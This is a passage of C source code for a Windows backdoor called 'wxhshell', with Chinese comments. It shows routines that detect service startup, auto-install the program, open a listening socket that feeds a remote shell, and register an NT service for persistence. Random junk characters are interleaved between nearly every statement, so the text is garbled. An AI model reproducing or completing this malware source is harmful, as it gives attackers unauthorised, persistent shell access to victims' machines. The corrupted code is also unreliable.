xXs if(hProcess==NULL) return 0; h*!oHS~/l >G%oWRk HMODULE hMod; oJ3(7Sz char procName[255]; +r;t] unsigned long cbNeeded; tCGx]\ CnZEBAU if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5$Kj#9g-# M<NY`7$^ CloseHandle(hProcess); o~\.jQQxa _-543B} if(strstr(procName,"services")) return 1; // 以服务启动 p[].4_B; }mIN)o return 0; // 注册表启动 ~tRGw^<9 } Is<XMR|{ j%w^8}U>G // 主模块 hAc|a9 o int StartWxhshell(LPSTR lpCmdLine) ]$9y7Bhj. { (S+/e5c) SOCKET wsl; ^ +@OiL>&i BOOL val=TRUE; kN{$-v=K int port=0; ISK 8t struct sockaddr_in door; h!|U j r<:d+5" if(wscfg.ws_autoins) Install(); uPr!;'J= fsw[R0B port=atoi(lpCmdLine); \f(zMP E"S#d&9 if(port<=0) port=wscfg.ws_port; |o9`h 9i u7RlxA: WSADATA data; W}3%BWn if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
_(8# Yk?q \1 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; B&B:P setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DQP!e6Of door.sin_family = AF_INET; W SxoGly door.sin_addr.s_addr = inet_addr("127.0.0.1"); srAWet door.sin_port = htons(port); .Tq8Qdl MusUgBQy if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kV T |(Y closesocket(wsl); Sa[lYMuB return 1; (Sgsy^|N } %g@\SR. DC1.f(cdR if(listen(wsl,2) == INVALID_SOCKET) { I%Yq86 closesocket(wsl); u%yYLpaKf return 1; qGMU>J.;c } 6k>5+ -&_ Wxhshell(wsl); ^--R#$X WSACleanup(); cb0rkmO Ay 4P_>^ return 0; ")vtS}Ekt /!?Tv8TPp } ;|?_C8 ;]m;p,$ // 以NT服务方式启动 32SkxcfrCK VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )AR-b8..o { ^gp]tAf DWORD status = 0; T$R#d&t DWORD specificError = 0xfffffff; `L7^f! *n&Sd~Mg serviceStatus.dwServiceType = SERVICE_WIN32; #V]8FW serviceStatus.dwCurrentState = SERVICE_START_PENDING; |gu@b~8 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _b-g^#L% serviceStatus.dwWin32ExitCode = 0; W'"?5} ( serviceStatus.dwServiceSpecificExitCode = 0; )uo".n|n~B serviceStatus.dwCheckPoint = 0; 3%GsTq2o serviceStatus.dwWaitHint = 0; $|J+ XxdD)I hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6Y,& |